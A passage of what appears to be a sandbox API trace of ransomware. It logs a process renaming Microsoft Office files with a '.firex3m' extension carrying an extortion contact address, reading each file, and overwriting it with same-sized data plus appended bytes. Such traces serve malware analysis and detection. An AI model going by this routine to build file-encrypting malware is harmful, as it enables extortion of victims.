() returned 0x630000 [0145.907] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176b10 | out: hHeap=0x630000) returned 1 [0145.907] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0145.907] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fcc4 | out: lpFindFileData=0x497fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3f1e1f4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3f1e1f4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1ceaa517, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x29c7, dwReserved0=0xbb87496, dwReserved1=0x6ef2548, cFileName="HomeBusinessR_Retail2-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HOMEBU~4.FIR")) returned 0x6d4e40 [0145.908] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0145.908] Sleep (dwMilliseconds=0x1) [0145.917] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXT", len=0x44 | out: pbstr=0x497ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXT") returned 1 [0145.917] GetProcessHeap () returned 0x630000 [0145.917] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2730) returned 0x71f7c78 [0145.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0146.853] CloseHandle (hObject=0x4bc) returned 1 [0146.853] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.853] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_col.hxt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.853] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.854] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fc6c | out: lpFindFileData=0x497fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9bcfaf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9bcfaf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9c1bf71, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ONENOT~4.FIR")) returned 0x6d5340 [0146.854] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0146.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_col.hxt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0146.854] GetProcessHeap () returned 0x630000 [0146.854] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x718588 [0146.854] GetProcessHeap () returned 0x630000 [0146.854] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x718678 [0146.854] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.858] ReadFile (in: hFile=0x4bc, lpBuffer=0x718588, nNumberOfBytesToRead=0xc0, lpNumberOfBytesRead=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x718588*, lpNumberOfBytesRead=0x497ff0c*=0xc0, lpOverlapped=0x0) returned 1 [0146.863] GetProcessHeap () returned 0x630000 [0146.863] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeb70 [0146.863] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.863] WriteFile (in: hFile=0x4bc, lpBuffer=0x718678*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x718678*, lpNumberOfBytesWritten=0x497ff0c*=0xc0, lpOverlapped=0x0) returned 1 [0146.863] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.863] WriteFile (in: hFile=0x4bc, lpBuffer=0x718737*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x718737*, lpNumberOfBytesWritten=0x497ff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.863] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.863] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x497ff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.863] CloseHandle (hObject=0x4bc) returned 1 [0146.863] GetProcessHeap () returned 0x630000 [0146.863] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x718678 | out: hHeap=0x630000) returned 1 [0146.863] GetProcessHeap () returned 0x630000 [0146.863] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x718588 | out: hHeap=0x630000) returned 1 [0146.863] GetProcessHeap () returned 0x630000 [0146.863] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeb70 | out: hHeap=0x630000) returned 1 [0146.864] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.864] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fcc4 | out: lpFindFileData=0x497fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9bcfaf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9bcfaf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1d7c1494, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xf3, dwReserved0=0x497fd20, dwReserved1=0x718588, cFileName="ONENOTE_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ONENOT~4.FIR")) returned 0x6d5380 [0146.864] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0146.864] Sleep (dwMilliseconds=0x1) [0148.060] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROPRPT.VSL", len=0x40 | out: pbstr=0x497ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROPRPT.VSL") returned 1 [0148.061] GetProcessHeap () returned 0x630000 [0148.061] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2698) returned 0x71f7c78 [0148.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROPRPT.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\proprpt.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0149.870] CloseHandle (hObject=0x6d8) returned 1 [0149.870] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0149.888] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROPRPT.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\proprpt.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROPRPT.VSL.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\proprpt.vsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0149.986] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0149.986] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROPRPT.VSL.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fc6c | out: lpFindFileData=0x497fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1cac944, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1cac944, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1cac944, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x2cc70, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPRPT.VSL.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PROPRP~2.FIR")) returned 0x6d54c0 [0149.987] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0149.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROPRPT.VSL.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\proprpt.vsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0150.011] GetProcessHeap () returned 0x630000 [0150.012] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7372b58 [0150.012] GetProcessHeap () returned 0x630000 [0150.012] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x737df88 [0150.013] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.013] ReadFile (in: hFile=0x5ec, lpBuffer=0x7372b58, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7372b58*, lpNumberOfBytesRead=0x497ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0158.808] GetProcessHeap () returned 0x630000 [0158.808] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176e58 [0158.809] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.809] WriteFile (in: hFile=0x5ec, lpBuffer=0x737df88*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x737df88*, lpNumberOfBytesWritten=0x497ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0158.809] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.809] WriteFile (in: hFile=0x5ec, lpBuffer=0x7389387*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7389387*, lpNumberOfBytesWritten=0x497ff0c*=0x20, lpOverlapped=0x0) returned 1 [0158.811] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.811] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x497ff0c*=0x4, lpOverlapped=0x0) returned 1 [0158.811] CloseHandle (hObject=0x5ec) returned 1 [0158.811] GetProcessHeap () returned 0x630000 [0158.811] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x737df88 | out: hHeap=0x630000) returned 1 [0158.811] GetProcessHeap () returned 0x630000 [0158.811] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7372b58 | out: hHeap=0x630000) returned 1 [0158.811] GetProcessHeap () returned 0x630000 [0158.811] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176e58 | out: hHeap=0x630000) returned 1 [0158.812] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0158.812] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROPRPT.VSL.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fcc4 | out: lpFindFileData=0x497fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1cac944, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1cac944, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x249c58e1, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2cc94, dwReserved0=0xbb87496, dwReserved1=0x7372b50, cFileName="PROPRPT.VSL.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PROPRP~2.FIR")) returned 0x6d5000 [0158.812] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0158.812] Sleep (dwMilliseconds=0x1) [0158.833] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\LocalizedStrings.xml", len=0x66 | out: pbstr=0x497ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\LocalizedStrings.xml") returned 1 [0158.833] GetProcessHeap () returned 0x630000 [0158.833] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2c24) returned 0x707d3d0 [0158.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\id\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0158.834] CloseHandle (hObject=0x5ec) returned 1 [0158.834] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0158.834] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\id\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\id\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0158.835] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0158.835] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fc6c | out: lpFindFileData=0x497fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1095, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d4f40 [0158.835] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0158.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\id\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0158.835] GetProcessHeap () returned 0x630000 [0158.835] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a1) returned 0x714508 [0158.835] GetProcessHeap () returned 0x630000 [0158.835] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a1) returned 0x7239fd8 [0158.835] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.835] ReadFile (in: hFile=0x5ec, lpBuffer=0x714508, nNumberOfBytesToRead=0x1080, lpNumberOfBytesRead=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x714508*, lpNumberOfBytesRead=0x497ff0c*=0x1080, lpOverlapped=0x0) returned 1 [0158.852] GetProcessHeap () returned 0x630000 [0158.852] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71772b8 [0158.853] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.853] WriteFile (in: hFile=0x5ec, lpBuffer=0x7239fd8*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7239fd8*, lpNumberOfBytesWritten=0x497ff0c*=0x1080, lpOverlapped=0x0) returned 1 [0158.853] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.853] WriteFile (in: hFile=0x5ec, lpBuffer=0x723b057*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x723b057*, lpNumberOfBytesWritten=0x497ff0c*=0x20, lpOverlapped=0x0) returned 1 [0158.853] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.853] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x497ff0c*=0x4, lpOverlapped=0x0) returned 1 [0158.853] CloseHandle (hObject=0x5ec) returned 1 [0158.853] GetProcessHeap () returned 0x630000 [0158.853] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7239fd8 | out: hHeap=0x630000) returned 1 [0158.853] GetProcessHeap () returned 0x630000 [0158.853] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x714508 | out: hHeap=0x630000) returned 1 [0158.853] GetProcessHeap () returned 0x630000 [0158.853] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71772b8 | out: hHeap=0x630000) returned 1 [0158.853] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0158.854] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fcc4 | out: lpFindFileData=0x497fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24a11eee, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x10b9, dwReserved0=0xbb87496, dwReserved1=0x714500, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5280 [0158.854] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0158.854] Sleep (dwMilliseconds=0x1) [0158.858] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\LocalizedStrings.xml", len=0x66 | out: pbstr=0x497ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\LocalizedStrings.xml") returned 1 [0158.858] GetProcessHeap () returned 0x630000 [0158.858] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2c1c) returned 0x707d3d0 [0158.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hr\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0158.859] CloseHandle (hObject=0x414) returned 1 [0158.859] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0158.859] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hr\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hr\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0158.860] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0158.860] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fc6c | out: lpFindFileData=0x497fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16710914, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16736b69, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10de, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5480 [0158.860] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0158.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hr\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0158.860] GetProcessHeap () returned 0x630000 [0158.860] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10e1) returned 0x714508 [0158.860] GetProcessHeap () returned 0x630000 [0158.860] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10e1) returned 0x6ed2090 [0158.860] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.860] ReadFile (in: hFile=0x414, lpBuffer=0x714508, nNumberOfBytesToRead=0x10c0, lpNumberOfBytesRead=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x714508*, lpNumberOfBytesRead=0x497ff0c*=0x10c0, lpOverlapped=0x0) returned 1 [0160.374] GetProcessHeap () returned 0x630000 [0160.374] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71768e0 [0160.374] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.375] WriteFile (in: hFile=0x414, lpBuffer=0x6ed2090*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | 